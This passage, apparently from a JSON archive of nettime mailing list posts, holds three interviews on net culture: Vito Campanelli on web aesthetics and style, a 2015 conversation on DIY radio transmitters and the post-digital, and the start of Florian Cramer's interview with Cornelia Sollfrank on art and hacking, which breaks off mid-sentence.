monopolized by fashion\nand design gurus, nevertheless, we should be able to overcome the\nnuisance that this linguistic abuse causes, in order to reactivate\na genuine critical debate. To deny the existence of style means to\nerase more than five hundred years of philosophical and aesthetical\nreflections: the term ?style?, in fact, has been used since the\n16th century with the ascendance of the Renaissance ?maniera? that\nindicates the personal style of an artist. Style is not a genre and\nnot prearranged forms that the artist can choose according to his\npreferences. Instead, style is a need because it reflects a way of\nliving, thinking, and imagining the world in which the artist is\nimmersed. Style is a reflection of the times, and very often the\nchoice of a style is not even an aware choice: the artist applies the\nstyle of his environment/times without any consciousness (in this\nsense the critic is much more aware than the artist).\n\nStyle is always related to an epoch, thus it changes along with\nthe life and the culture existing under the influence of social,\neconomical and psychological factors. This is the reason style (as\nthe expression of an epoch) is not transmitted from one generation\nto the next. Sometimes the term ?style? is inaccurately described as\n?artistic individual preferences? (?le style c?est l?homme?), but we\nhave to refuse this equivocal interpretation: individual forms and\npreferences need a different denomination, while style is ? today as\nit was 500 years ago ? the common language of an epoch. If we accept\nthis interpretation, the pretension of ?being without a style? becomes\nsilly and disingenuous: can we imagine an artistic work that doesn?t\nreflect its times?\n\n\n\nWhen I hear speeches about the refusal of style, my mind goes\nimmediately to the characters of an Orhan Pamuk?s novel: My Name is\nRed. The main characters in this novel are miniaturists of the Ottoman\nEmpire that discuss (and fight and kill each other) around the subject\nof style, the question is: which is true art? The expression of the\nindividual artist, or a perfect representation of the divine (in\nwhich the artist suppresses any trace of his personal vanity)? The\nNobel Prize-winning?s novel describes a very paradigmatic situation:\ntwo different cultures are colliding (the Ottoman Empire ?meets? the\nVenetian Empire) and a new epoch rises. There is nothing to do for\nthe miniaturists - a new epoch introduces a new style, and all their\nefforts to keep the traditional approach to the miniature are in vain.\n\nIf we look at the Net we can clearly see a lot of genres (mail art,\nASCII art, generative art, hacker art, pixel art, and so on...), but\nwe can also identify a style. A couple of the main elements of this\nstyle are ? in my very personal opinion ? the remixing attitude and\nthe D.I.Y. practice. Human culture has always been defined by its\nability to remix ideas, concepts and inspirations, but nowadays there\nis something new: the new media advent has extended our potential to\nsuch an extent that we remix continuously, even when we are not aware\nof it. New media force us to do a continuous ?cut and paste? of the\nendless digital data surrounding us. Thus, we can assume that remixing\nis the composition method of our times.\n\nAt the same time, new media give us the potential to get our hands\naround this growing digital data sea, indeed, we can manage and shape\nit even if we don?t have particular expertise. So we draw data from an\nendless source and we recombine them using all kind of digital tools,\nin few words: we remix culture on our own. In this situation, can we\nimagine an artistic expression that is immune to the two most popular\npractices of our times? I don?t think so. Instead, the style of our\nepoch can be found into what I am tempted to call: R.I.Y. (Remix It\nYourself).\n\n\n\nObviously, there are other elements that contribute to the actual\nstyle, for example, it?s easy to observe how non-linear narrative\nis taking linear narrative?s place. Instead of denying the concept\nof style, we should look around us to identify what are the\ncharacteristics of our times, and in doing that, we would also\nunderstand what the actual style is shaped by.\n\nGL: How do you deal with the popular in web aesthetics? Often it is\nsaid that popular culture is so trashy. But with Internet culture the\nmasses of users these days are so advanced. Theory and criticism have\nyet to discover blogs, Second Life, Wikipedia and all that. Having\nsaid that, it?s clear we no longer live in the 1980s and have to\npromote a serious study of popular (media) culture. Cultural Studies\nhas established itself in such a big way, we shouldn?t have to make\nsuch calls? Still there is the question, from a theory point of view,\nwhether or not to overcome the popular.\n\nVC: What is the ?popular?? This is a good starting point, if we refer\nto the Web, and broadly to digital media. Common people are the\nvanguard we need to test our theories, our hypothesis, our projects,\nand our products too. Who?s discovering a new world like Second Life?\nWho?s populating our databases, our wikis and our blogs? Who?s testing\nour new digital tools? We need them to reach a critical mass. As a\nconsequence all the communication is directed to them: ?try this new\nproduct for free?, ?trial period?, ?make a free tour?, ?open your own\nblog?, ?publish your photo album?, these and many others formulas\nwitnessing that we need the masses of users in order to get feedback,\nto give basis to our theories, to shape our products.\n\nWe don?t need them just as audience (the TV age model), the Internet\nage postulates an active participation, thus, the masses are required\nto turn themselves into players. What would remain of Web 2.0 and\nsocial networks without masses? A desert, I guess.\n\nWith all the digital media and contexts we are creating the masses\nhave also produced an incredible amount of content. If that is\nactually what we define as ?popular culture?, then the questions are:\nwhat are we supposed to do with all this stuff? Is this cultural\nproduction significant? Should we spend our time in studying and\nanalyzing it?\n\nFor sure we don?t have time to do that, so (usually) we limit\nourselves to give a bit of our attention to the events that, pushed\nby mass media, bounce under our noses. The most interesting thing for\nme is to observe how the top rated/most viewed videos on YouTube are\nall ?commercial TV like? products; the usual Second Life public spaces\n(streets and buildings) are crowded with more advertising than Las\nVegas (most of them are dedicated to sex); the stick memories of the\naverage MP3 players are filled with the same music you can listen to\non any commercial radio station, and shall we talk about the subjects\nof the photos stored in millions of digital cameras?\n\nWhat I?m trying to mark is that with new media we are repeating the\nstupidity and the uselessness of our TV formats, the advertising?s\ninvasion of any public space, the boredom of the pop music scene,\netc... Vulgarity and the dissipation of any significance are moving\nfrom old media to new media, and I don?t see any good reason to spend\nmy time with such ?popular culture?.\n\nBesides this, it?s also very interesting to observe how the old media\nare becoming more and more permeable to blogs and D.I.Y. information.\nThis phenomenon is not due to a fascination in more democratic\ninformation sources (the traditional media holders hate new media and\npeople involved with it), on the contrary - the pressure is rising due\nto the growth of the ?eyes? (digital cameras and all the new devices)\nthat are watching the same events that mainstream media are reporting\nto us: the possibility of being uncovered are too many and broadcast\njournalists are forced to tell the truth (or ? at least ? a plausible\nversion of it). As a consequence, blogs have become the major source\nof news and information about the Abu Ghraib prison abuse scandal\n(a scandal born thanks to modern digital devices) and the Iraq War.\nThen the question is: what impact is the blogosphere having on the\ntraditional media?s control over news and information? We also have to\nconsider that bloggers are often the only real journalists, as they\n(at their own risk) provide independent news in countries where the\nmainstream media is censored or under control.\n\nGL: Is it your aim to promote sophistication in web design? How can we\nidentify, and then design sophisticated communication?\n\nVC: I don?t like sophistication very much, I prefer a minimalist\napproach to web design, with clear and linear interfaces that give\nintuitive access to sophisticated and very structured data. When you\nhave to manage complex data sets or very rich multimedia contents, the\nbest you can do is design a structure that is very minimal. Indeed,\nyou don?t have to add meaning to the content you are representing,\notherwise you make it useless and baroque. Nevertheless, minimalist\ndoesn?t mean careless or dull, instead it means ?not one sign more\nthan necessary?, it means taking care of details, it means being\nmoderate and objective.\n\nWe also have to consider that there are so many kinds of data that\nthere can?t be one universal formula of access. In fact, some\ninformation, such as the structure of a network, need graphic\nexpedients to be understood. Also, there are many realities that\nhave no meaning if showed only in a textual format. In those cases\nwe use graphs, charts, etc., and very often we obtain wonderful and\nunexpected forms. For example, if you look at the Manuel Lima?s\nproject, Visual Complexity (www.visualcomplexity.com), you?ll easily\nfind many wonderful visualizations of complex networks.\n\nIn view of such artistic representation of data the problem becomes:\nwhere is the line? How much graphic sophistication (or embellishment)\ndo we need to solve a visualization problem? I guess the answer can\nfound on a case-by-case basis, and the only line we can certainly\ndetect is the one between the amount of complexity required by a\nrepresentation (objective factor) and the self-satisfaction that\npushes any designer into going over what is required (subjective\nfactor).\n\n(edited by Henry Warwick)\n\n--\n\n\n\nURLs:\n\nVito Campanelli?s home page: http://www.vitocampanelli.it/\nMedia & Arts Office: http://www.mediartsoffice.eu/\nWeb designers collective Klash: http://www.klash.it\nThe Net Observer: http://www.thenetobserver.net\nBoiler magazine: http://www.boilermag.it\n\n\n\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Fri, 11 May 2007 14:48:36 +0200",
                "to": "\"nettime's international court of justice\" <nettime-l {AT} bbs.thing.net>",
                "message-id": "E1HmmnZ&#45;0000u3&#45;LF {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0705/msg00012.html",
                "list": "nettime_l",
                "author_name": "Geert Lovink",
                "subject": "<nettime> Interview with Vito Campanelli about Web Aesthetics"
            },
            {
                "content-type": "text/plai",
                "from": "Michael Dieter <mdieter {AT} gmail.com>",
                "id": "00005",
                "content": "Dear Nettime,\n\nI thought the following short conversation/interview I recently\nconducted with the artists Dennis de Del and Roel Roscam Abbing might\nbe of interest to the list. It covers their currently work on\npost-digital, wireless, radio, DIY and other critical media topics.\n\nCheers,\n\n---------------------\nWireless After the End of the WWW:\nA Conversation with Dennis de Del and Roel Roscam Abbing\n\nFor the 2015 Fiber Festival (http://2015.fiberfestival.nl/), Michael\nDieter spoke with the Rotterdam-based artist researchers Dennis de Bel\nand Roel Roscam Abbing about their current project on radio\ntransmissions and wireless technologies. At the event, they will run a\nworkshop \u00e2Write the Wave\u00e2 which explores the possibilities for\nreutilizing the radio spectrum as a new commons in the forthcoming\n\u00e2digital radio switchover\u00e2. The conversation took place on May 1st at\nOpen Coop, Amsterdam.\n\nMichael Dieter (MD): Can I start by asking you a bit about the\nworkshop? What sort of things will you be doing at the Fiber Festival?\n\nRoel Roscam Abbing (RRA): We want to start the workshop with giving\nthe participants an insight in what happens with radio signal all\naround us, everywhere; everything that has no strings attached\n(wireless) is basically using radio technology, so it\u00e2s nice to give\nthe people an impression of what is happening. For the Fiber Festival\nin Amsterdam, we want to scan the spectrum around the A Lab space, we\nwant to listen to the ferries, to the air traffic into Schiphol\nairport; well, everything up to the GSM 3G signals which we can hear.\n\nMD: And the idea is that then you\u00e2ll also build transmitters in the\nworkshop to use the FM spectrum, but for data?\n\nRRA: We have not really decided which spectrum we\u00e2ll use. Generally\nthe lower in the spectrum you go, towards 1MHz and lower, the further\nyou can reach, but the larger your equipment needs to be. The antenna\nalways has a relation to the size of the physical wave; in the case of\n1MHz, it\u00e2s 300 meters. So then you take 1/100 of that you have a three\nmeter antenna, so for FM it would be 100 times smaller, it\u00e2s around a\n100MHz range, but then you have interference of radio stations.\n\nDennis de Bel (DB): We want to create devices that can be parallel to\nthe devices we already have in our pockets and then create some sort\nof a parallel network based on existing consumer hardware, but solder\nit yourself from scratch. Therefore, we still have to decide what\u00e2s\ngoing to be practical in the workshop.\n\nMD: Do you have a background in radio?\n\nDB/RRA: No, no, no\u00e2\n\nRRA: We always start working with something that we know nothing about\nand then you dive straight into it.\n\nDB: Then you \u00e2die\u00e2 straight into it.\n\nMD: So how did you come to work on radio transmission?\n\nRRA: We came from different backgrounds. Personally I was researched a\nlot into the physical infrastructure of the internet and sort of the\npolitics behind that and the implications. I did a few projects and as\nI was reading about the history of telecommunications, there was this\nrecurrent theme when it came to power over networks. That wireless\nmanaged to give an alternative to people who did not have power over\ncables. At the end of the 19th century, the British had the entire\nworld connected to London. They had all the islands and geopolitical\nsweet spots that they needed for their shipping network, like the Rock\nof Gibraltar, and could use these to run that vast cable network. The\ncompeting European powers also wanted private communication networks\nto connect to their colonies, but had a hard time doing so because\nthey couldn\u00e2t make direct connections. Because of this their telegrams\nflowed partly through British cables which made it possible for the\nBritish to censor or eavesdrop messages or cut it off when they found\nit inappropriate but then radio happened. So Germany and France were\nexcited and invested a lot into radio technology to make direct links\nto the colonies so they would not need to rely on British cables\nanymore. From that moment on you see that wireless versus wired is a\nbit of a recurring trend so when I started thinking about network\ninfrastructures my interest drifted towards wireless because of the\ndifferent way of how things can be done.. one can own cables but one\ncan't own radio waves.. And yeah then you also realize there was\nalready an internet as we know it, you already had radio amateurs\nmaking worldwide with data connections via radio in the 80s; a bit of\nforgotten history about a technology that we are only familiar with in\nthe form of Giel Beelen and 3FM.\n\nMD: This workshop, of course, is also interesting from the context of\ncritical media theory that runs alongside the history that you are\ntracing. With Bertolt Brecht\u00e2s famous essay on radio picked up by Hans\nMagnus Enzensberger and then Jean Baudrillard\u00e2s response to that, the\ntechnology inspired an ongoing discussion on the \u00e2two faced\u00e2 aspects\nof media and how it always seemed to end up in another centralized\narrangement. But this is especially interesting with radio as it\nstands today; well, I don\u00e2t know if it\u00e2s true, but I\u00e2ve heard that\nsome of the spectrum has been abandoned, it\u00e2s almost as if it has\nbecome available in a new way as the technology is superficially\nsuperseded.\n\nRRA: Well, that is indeed how we would read it, but I think the people\nwho give licenses wouldn\u00e2t read it like that. But it\u00e2s an interesting\nthing that\u00e2s happening. As things move to more digital higher\nbandwidth frequencies, they move from MHz to 100s of MHz to GHz.\nLonger waves don\u00e2t get used in that same way anymore, except for RFID\nchips, so in that sense, a space opens up that can be pirated.\n\nMD: And that\u00e2s another a key part of this history, right? Pirate radio\nor activist uses like Radio Alice in Italy, they encompass a very rich\ntradition of experimental and political practices.\n\nRRA: Yeah and that\u00e2s one of the nice things of the radio wave as an\nobject that it literally doesn\u00e2t know boundaries. You have radio waves\nthat go across the world all the time, which allowed them to be used\nfor propaganda purposes. You have Radio Free Asia, Free Europe. The\nother day I was listening to Radio Havana Cuba which uses these very\nlong waves to transmit the Cuban point of view all the way here. In\nthe same way you can listen to radio from Uzbekistan. They air their\npoint of view across the world and there is basically no way to stop\nit and that\u00e2s a nice thing and that\u00e2s why radio pirates are\ninteresting. Once they transmit, you can destroy the transmitter, but\nthe message is still out there.\n\nSo I would say that look towards the radio pirate for inspiration in\ncontrast to the radio amateur who is so in love with the technology\nthat he gets a sanctioned license and thereby limits the field of view\nin a way; they cannot send encrypted communications, they can only use\nspecified bands which can be subject to change. As long as they are\nperceived as useless, there are amateur radio bands, but as soon there\nis a new use for it, they are subject to change. Nowadays, for\nexample, there is a discussion about NFC chips using the same band\n(14mhz) as amateur radio, so there could be a risk that amateur radio\njams things like wireless paying cards. So it is not unimaginable that\namateurs would not be able to transmit on these frequencies. For their\nlove for the technology, they really have to comply and cooperate with\nthe governments that give licenses. And then you have this other\nhistory of people just grabbing the frequency which I find more\ninteresting.\n\nMD: Do you have an idea of what kind of content you will transmit at\nthe workshop?\n\nDB: There is a reason why the commercial parties are moving up the\nspectrum because of the bandwidth I guess. So we have some interesting\nlimitations in our system, it\u00e2s ultra slow, it\u00e2s quite nice actually\nbecause you become aware of the materiality of digital stuff like\nfiles. For example, you could send an image and see it build up on\nyour screen but it can take up to 30 minutes for a JPEG. But you also\nhave auditory feedback as well.\n\nMD: It\u00e2s this old problem of latency and bandwidth. While traveling I\nbecame more aware of bandwidth and how the signal varies on your phone\nsignificantly, and made me think about how web content is optimized\nfor latency. For instance, when you look at digital content from the\nperspective of performance optimization, you can see how the it\u00e2s\narranged in particular ways to allow for speedy delivery, what\nWolfgang Ernst calls chrono-engineering. It\u00e2s used in web and app\ndesign to target particular audiences in certain locations using\ncertain devices. This is part of the new research program I\u00e2m doing on\nuser interface design practices (rather than art practices). But it\u00e2s\nalso why I am really interested in your project, to see how digital\ncontent and wireless transmission can work together in different ways.\n\nDB: Indeed, you really have to choose what to send what to watch/see.\nA nice thing is that it really reacts to your body, the proximity, you\ncan either become an antenna or a shield.\n\nRRA: This is all analogue electronics which is a bit of black magic;\nthere is a lot of physics going on. You can calculate nice formulas\nand approach each value of a component, but then indeed your body has\nits own capacitance and you come close to your transmitter and it sort\nof shifts the whole signal.\n\nDB: Humidity, air pressure\u00e2\n\nRRA: Temperature plays a large role. In that sense, analogue\nelectronics are hell, but at the same time with only a few components\nyou can make a transmitter. You really get down to the physics of how\nradio works. To send radio you need to make a carrier wave which is a\nwave that oscillates at a certain frequency, which will carry your\nmessage basically and then you write your information on that, hence\nWrite the Wave.\n\nMD: Are the transmitters that you\u00e2ll build in the workshops your own designs?\n\nRRA: No, actually we\u00e2ve got these from a pirate radio manual that is\nfloating around the internet. I don\u00e2t really know the history behind\nthis manual, but it\u00e2s really good; it\u00e2s called The Complete Manual of\nPirate Radio by Zeke Teflon. It\u00e2s a zine with all these designs and\nalso this ideology: \u00e2you should grab the wave!\u00e2 And a Japanese media\nartist provided some designs.\n\nDB: Yeah, one design is from Tetsuo Kogawa who does narrowcasting\nsound art, really local hosted radio shows, but using feedback from\nthe radios themselves or musicians; he also did some workshops.\n\nMD: I\u00e2ve heard that there\u00e2s quite a long history of experimental radio\nin Japan. For instance, in the recently translated writings of F\u00c3lix\nGuattari on his time there, Machinic Eros, he discusses the mini-FM\ncommunity (Radio Home Run) that Kogawa initiated with others in the\n1980\u00e2s.\n\nRRA: The modern transistor radio is basically what Sony made the big\nplayer that it is now.\n\nThe funny thing is that radio started off not as analog but rather as\na digital medium with Morse code, turning the transmitter on and off\nand transmitting discrete values. Analogue transmission was invented\nonly while people were looking at how to multiplex these digital\nsignals, so that you could put two or four signals on one cable, that\nwas goldmine in the nineteenth century. All the \u00e2startups\u00e2  back then\n\u00e2 these were the heydays of the inventor geniuses we are so in love\ntoday with \u00e2 were all about multiplexing signals; putting as much data\nthrough a cable. And then Alexander Graham Bell\u00e2s startup found out\nthat accident  that if you multiplex enough signals they begin to\nresonate at enough frequencies, to carry sound or voice. That was the\ninvention of telephony and that\u00e2s when transmission became analogue in\na way. And later when people were looking at sending digital data\nagain, they had to come up with a hack on the analogue system again.\nThis is what the old modem does; modulates and demodulates data into\nsound and back and that\u00e2s what we want to do with this workshop.\n\nDB: There is this software modem that emulates a hardware modem called\n'minimodem', for example.\n\nMD: Actually, there is another question I wanted to ask you both;\nmaybe it\u00e2s a bit of an unfortunate question. But when I was looking at\nDennis\u00e2 work in particular, I was thinking about the post-digital\nconcept. I don\u00e2t know if you have any thoughts about it or how you see\nit applying to your work.\n\n*long silence*\n\nRRA: For me, it\u00e2s a realization that each medium has its own merit. If\nyou take the 2000\u00e2s and 90\u00e2s wave of technology, everything was\ninevitably becoming digital and networked. And from that perspective,\nit\u00e2s illogical to see people actually decide what medium they use,\nbased on the characteristics that each medium has and not on something\nis digital or not. I think that\u00e2s what post-digital is, this\nrealization. We\u00e2re not going to use the internet because it\u00e2s the\ninternet, or vinyl because it\u00e2s retro, but because of the intrinsic\nqualities of each medium. But you, Dennis, are the post-digital\nartist!\n\nDB: First of all, I\u00e2m not. I\u00e2m still figuring out what I will be for\nthe rest of my life. Or I hope so at least. I don\u00e2t see it really\nreflected in this whole thing that gets labelled as post-digital art.\nIt stays so digital all the time. I don\u00e2t know\u00e2 It has become a\npoisoned term.\n\nMD: When I was first studying, we were still being taught a lot of\npostmodern theory and when I shifted to thinking about media, it was\nreally refreshing. Because all of those complex questions about\nhistory, time and representation that come with a term like \u00e2post\u00e2\ncould be put aside. And yet, there is something interesting in the way\nFlorian Cramer, for instance, talks about post-digital. He tries to be\nvery precise about it, which I appreciate \u00e2 especially given that\nthere are other competing terms that are also problematic such as\n\u00e2post-internet\u00e2, \u00e2new aesthetic\u00e2 or even \u00e2neo-analogue\u00e2.\n\nThere is a sense though that the digital is not what it used to be.\nAnd it feels that there is a historical shift in thinking about new\ntechnologies as necessarily progressive politically. Post-Snowden is\nanother term that can be mentioned in this context. And I see some of\nthese themes in the workshop that you are running, in the sense of\ntrying to discover a new stance towards media infrastructures that\nsomehow is also taking account of the current climate. Would it be\nfair to say that there is some kind of contemporary media politics\ngoing on in your practice and how would you describe it?\n\nDB: As soon as you\u00e2re not uploading your work on Behance you\u00e2re\npolitical in a sense\u00e2\n\nRRA: Uploading to Behance is also a politics..\n\nMD: Let me put it another way, there is obviously a pragmatism to your\npractice in terms of putting things together in new ways, but is there\na radical pragmatism as well where you can see these practices\nradically scaling? Given that the latency is so limited and that there\nis kind of slow dimension to putting together DIY radio in a workshop\nwith a small group of people like this.\n\nRRA: I think maybe that might be one of the post-digital things about\nthis. This is also the realization that people might have had is that\nwhen new technologies are unstructured and undefined, it creates a\nspace where interesting things can happen, like the early web. That\u00e2s\nthe thing we keep romanticizing about the internet, because it was\nunstructured and it wasn\u00e2t fully commercialised, and as soon as things\nscale \u00e2 which is, of course, one of Silicon Valley\u00e2s buzzwords, does\nit scale? \u00e2 you lose all of that potential. That\u00e2s why I decided that\nsome things shouldn\u00e2t scale. And maybe in that sense you could speak\nabout a post-digital theme. Media have specific properties which get\nlost as they scale. And obviously these transmitters are not a tool..\n\nDB: It\u00e2s not an optimised product. There is a lot of noise which gives\na lot of room for discussion.\u00e2If you see an image or a website loading\non your screen you just interfere with your body and you break the\nwhole thing. You realize how hard it is and you see what\u00e2s happening.\n\nRRA: It\u00e2s not a solution for any sort of thing but its more a way in\nwhich people look at other communication infrastructures that they use\nand get a new viewpoint.\n\nDB: It\u00e2s also media archaeology, because it\u00e2s really hard to get these\ncomponents nowadays. Ten years ago, there were still shops, but we\u00e2ll\nsoon lose it.\n\nMD: Where did you get these components? Not at Media Markt I guess.\n\nDB: There is only one electronics shop in Rotterdam where you can only\nby a maximum of five of these components. But we bought Chinese\nknock-offs online. It\u00e2s almost undoable.\n\nDB: I really like to think by myself and work with my hands and when\nit gets out of your hands, you don\u00e2t have any control. There is a nice\nbalance between control and uncontrol with these analog components.\n\nRRA: And also the scale of the components we use is important because\nthese one can grab and touch. Electronics always trended towards\nminiaturization to a point now where most stuff is so small you cannot\npick it up with your fingers let alone arrange and connect them.\nDesigned by machines, built by machines.\n\nDB: Built for the masses, you have to build a million otherwise it\nmakes no sense.\n\nRRA: There is a lot to be said about being able to do it yourself. You\nlearn a lot by doing this, also by failing.\n\nDB: You burn a lot!\n\n--------------------------\n\nAlso on Medium w/ some images:\nhttps://medium.com/ {AT} FIBER/wireless-after-the-end-of-the-www-an-interview-with-dennis-de-bel-and-roel-roscam-abbing-6837f8ea0a40\n\n-- \nMichael Dieter\n\"Social Media Expert\", Gentequemola, Internet\nOld West Amsterdam\n\"I'm on computers profusely\" - Lil B\nhttp://twitter.com/#!/mdieter\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org",
                "date": "Fri, 8 May 2015 10:50:10 +0100",
                "to": "nettime-l {AT} kein.org",
                "message-id": "ca1347300892229cf9efc407a626f561 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                "url": "https://nettime.org/Lists-Archives/nettime-l-1505/msg00005.html",
                "list": "nettime_l",
                "author_name": "Michael Dieter",
                "subject": "<nettime> Wireless After the End of the WWW"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin@zedat.fu-berlin.de>",
                "id": "00369",
                "content": "[This is the English translation of the original-length German\ninterview, part 1 of 2; copyleft and publication data is given at the\nend of part 2. -FC]\n\n\n\nHacking the art operating system\n\nCornelia Sollfrank interviewed by Florian Cramer, December 28th, 2001,\nduring the annual congress of the Chaos Computer Club (German Hacker's\nClub) in Berlin.\n\n\nFC: I have questions on various thematic complexes which in your work\nseem to be continually referring to each other: hacking and art, computer\ngenerated, or more specifically, generative art, cyberfeminism, or the\nquestions that your new work entitled 'Improvised Tele-vision' throw\nup. And of course the thematic complex plagiarism and appropriation -\nas well as what can be seen as an appendix to that, art and code, code\nart and code aesthetics.\n\nCS: Surely code art and code aesthetics are more your themes than mine. I\nthink I should be the one asking the questions here. (laughter)\n\nFC: ...no, this refers very specifically to statements made by you,\nfor example in your Telepolis interview with 0100101110111001.org,\nwhich I found excellent because of its rather sceptical undertones. If\nthat really is more my area though, then by all means we can bracket it\nout of the interview.\n\nCS: No, no. I didn't mean it like that. Quite the opposite in\nfact. However that is what is so interesting and difficult about the\nrelationship between these complexes - and which I often find myself\narguing about.  A lot of things appear to run parallel, or better put,\none invests more in one area for a particular period of time, then returns\nback to something else. To keep an eye on how these various activities\nlink together is not easy.\n\nFC: When I look at your work, I notice that on the one hand you are a\nvery important net artist, on the other hand - what nevertheless seems\nclosely related to the this - you work as a critical journalist for among\nothers, Telepolis, and frequently write about hacker culture: for example,\nyou've written about an Italian hacker congress and interviewed the\nChaos-Computer-Club spokesperson Andy M\u00fcller-Maguhn about the Cybercrime\nConvention. Am I right in supposing that when you write about hacking, you\nalways maintain an aesthetic interest in net art - and that, vice-versa,\nwhen you are writing about net art, you investigate to what extent it\ntends towards computer hacking.\n\nCS: I see myself foremost as an artist, and that is my point of departure\nfor everything else; it gives me the motivation too to slip into\nother roles. Being a journalist is more a means to an end, because as a\njournalist I obtain information that as an artist I would not obtain. That\nmeans, I instrumentalise this function, as I did at the ars electronica\n2001. The theme there was 'Takeover' and I was invited to participate on\nthe panel Female Takeover. An interview that I did for Telepolis with the\nhead of the ars electronica, Gerfried Stocker, helped me understand what\nhe thought about the theme - and how this somewhat vague concept came\nabout. That's why journalism and scrutiny are basic tools of my art.\nMy product though - I don't know if I should refer to it like that -\nis ultimately artistic, or if you want to call it that, aesthetic.\n\nFC: In the conclusion to your review on ars electronica you write:\n\"perhaps art no longer needs ars electronica either\". I have to add that\nI warmed to that remark. (laughter)\n\nCS: But perhaps it does! \"Perhaps\" is what is written and\nmeant. (laughter)\n\nFC: The motto of the event does not imply that art wants to appropriate\ntechnology, rather to the contrary, that technicians want to control\nart and make artists superfluous.\n\nCS: I saw another 'Takeover' there. Stocker felt it was a 'Takeover'\nby people working in the free market who have virtually taken over\nart. And basically for the very reason that they are more creative\nthan artists. His whole concept of art circles around creativity;\nnothing else seems to occur to him about a possible definition of\nart. (Quoting our good colleague Merz here, creativity becomes something\nfor hairdressers!) Sure, Stocker's thesis was meant as a provocation\nto artists - on the lines of look at yourselves for once, what a bunch\nof boring shits you are compared to the young laid back super-kids in\nthe companies who come up with the wildest things. But even that can\nbe interpreted in various ways. You could open up a wider spectrum to\n'Takeovers', just like we did when we discussed and engaged with the\nissues of 'Female Takeover'. By the way, one result of our panel was\nthat at a future ars electronica there should be a 'women only' ars\nelectronica.\n\nFC: In order to come back to the question of defining contexts - such as\nart and non-art, art and hacking: it occurred to me while reading your\narticle on the hacker conference in Italy that usually the domains of\nart and the hacking are kept apart from one another. Even if in Italy\nthis division was not so rigorously kept in force. That seemed to be a\nsociological observation, and not a thesis that you support and want to\nconcretize. Is hacking then for you art and does hacking have something\nto do with art?\n\nCS: Both. As far as sociological theories on art and hacking go, I've come\nincreasingly to the conclusion over the last four, five years in which I\nhave been involved in hacking, that hacking culture always has something\nbordering on a national...(laughter) flavor.  That's why it is interesting\nfor me to visit other countries and especially Italy, where it appears\nas if there does not exist the slightest fear of contact between artists,\nactivists, philosophers etc. They coexist there naturally, dialogue with\neach other and create a common language in which they can communicate\n(laughter), which is something I haven't experienced in Germany. As a\nfemale artist in the Chaos Computer Club, I have come face to face with\nsome of the worse preconceptions, accusations and verbal abuse of my life\n(unfortunately).\n\nFC: You said: as a 'female artist' in the Chaos Computer Club. What do\nyou put the emphasis on? Being an 'artist' or being 'female'?\n\nCS: On both. As far as gender goes there is a basic frankness\ninvolved. When one deals with the same themes identically and speaks\nthe same language, gender means less hurdles to cross. (laughter) Since\nthat is seldom the case it becomes one. The bigger problem however is\nart. That left me utterly dumbfounded. I was having a nice chat with\nsomeone at one or other of the Chaos Computer Club's parties and was\nasked what I do.  When I replied \"I am an artist\", the reaction I got\nwas a hoarse exclamation: \"I hate artists\", which left me thinking, oh,\nthat's a pity! That usually makes for an abrupt end to any conversation\nyou might have. I find it very difficult to find new topics to talk\nabout, or reasons to stay and ask questions. That has no doubt to do\nwith the fact that hackers see themselves as artists - and more to the\npoint the only genuine ones - and that everyone else is just an idiot\nand hasn't a clue (laughter). On the other hand though a connection to\nart has arisen out of the formative days of the Chaos Computer Club. For\nexample in Bielefeld, where padeluun and Rena Tangens see themselves as\nbeing active as both artists and gallerists - although they are by no\nmeans equally loved and cherished by everyone at CCC.\n\nFC: ...Felix von Leitner for example, one of the most skilled computer\nexperts in the CCC, enjoys giving padeluum a regular bashing ...\n\nCS: In the German CCC that has a lot to do with the person padelun - who\nmany simply can't stand. He embodies for some what they are accustomed\nto in art, and which means the subject is put to an end.\n\nFC: Is that not a problem perhaps of the definition of art? Because since\nthe middle of the 18th century, and at the latest since Romanticism,\nwe have a definition of art that is no longer focused on the 'ars',\nthe actual skill involved, but rather on the genius and the aesthetic\nvision. If one nonetheless sees hacking as art, this seems to have a\nlot to do with the older definition of 'ars'.\n\nCS: That can also have to do with a newer definition of art, if it is\nexists in the minds of people. For me this has less to do with skill\ndirectly, because one person alone in our times does not have the skill\nto produce something relevant, rather different people with different\nskills have to come together. A typical hacker would fit into such a\nteam. However it is very tough to get a foot into the German hacker\nculture with that idea. You probably don't know my work with women\nhackers?\n\nFC: I know the interview that you also did with a female hacker at a\nChaos Computer Congress in 1999.\n\nCS: ...Clara SOpht...\n\nFC: ...right. And you are working on a comprehensive video documentation\nof this theme!\n\nCS: I'm making a five part series. Due to my experience in the CCC,\nI narrowed my research down and tried to find women who see themselves\nas hackers. Besides posting to numerous mailing lists and newsgroups,\nI asked a diverse number of experts. Bruce Sterling, for example, who\nhas written an erudite book \"Hacker Cracker\", and is seen as an expert\nin the American scene, or the American hacker hunter, Gail Thackeray,\nwho was the co-founder of the Computer Crime Unit in the USA. They\nare really specialists who know the scene very well, and all of them\nconfirmed that there are no highly skilled women in this area. That\nproved very depressing for me. In my fantasies, I imagined there were\nall this wild women, complete nerds, exotic, anarchistic and dangerous,\ncourageous enough to want to cross borders and break all conventions,\npsychopathic and with criminal tendencies, politically active, artistic\nand more: however they just didn't exist. That's when I switched\nfrom the journalist-research modus to the artistic-modus and said to\nmyself, I have to try and reshape this boring reality. And that's why\nI did the interview with Clara SOpht for example, who doesn't really\nexist. (Laughter) I just started to invent female hackers.\n\nFC: Oh, I see! (laughter) Great!\n\nCS: I did show the videos which come out of this process in the art\nscene, where they went down really well, although sometimes certain\nclever people ask what they actually have to do with art. Depending on\nthe situation I then reveal that the female hackers do not exist or STILL\ndo not exist. I preferred showing them though in a hacker context. For\nexample I gave a talk at the CCC congress on women hackers and showed\nthe interview with Clara SOpht. It was pretty well attended, including a\nlot of men, who watched everything and then attacked me for not defending\nsufficiently Clara Sopht's privacy, because she had 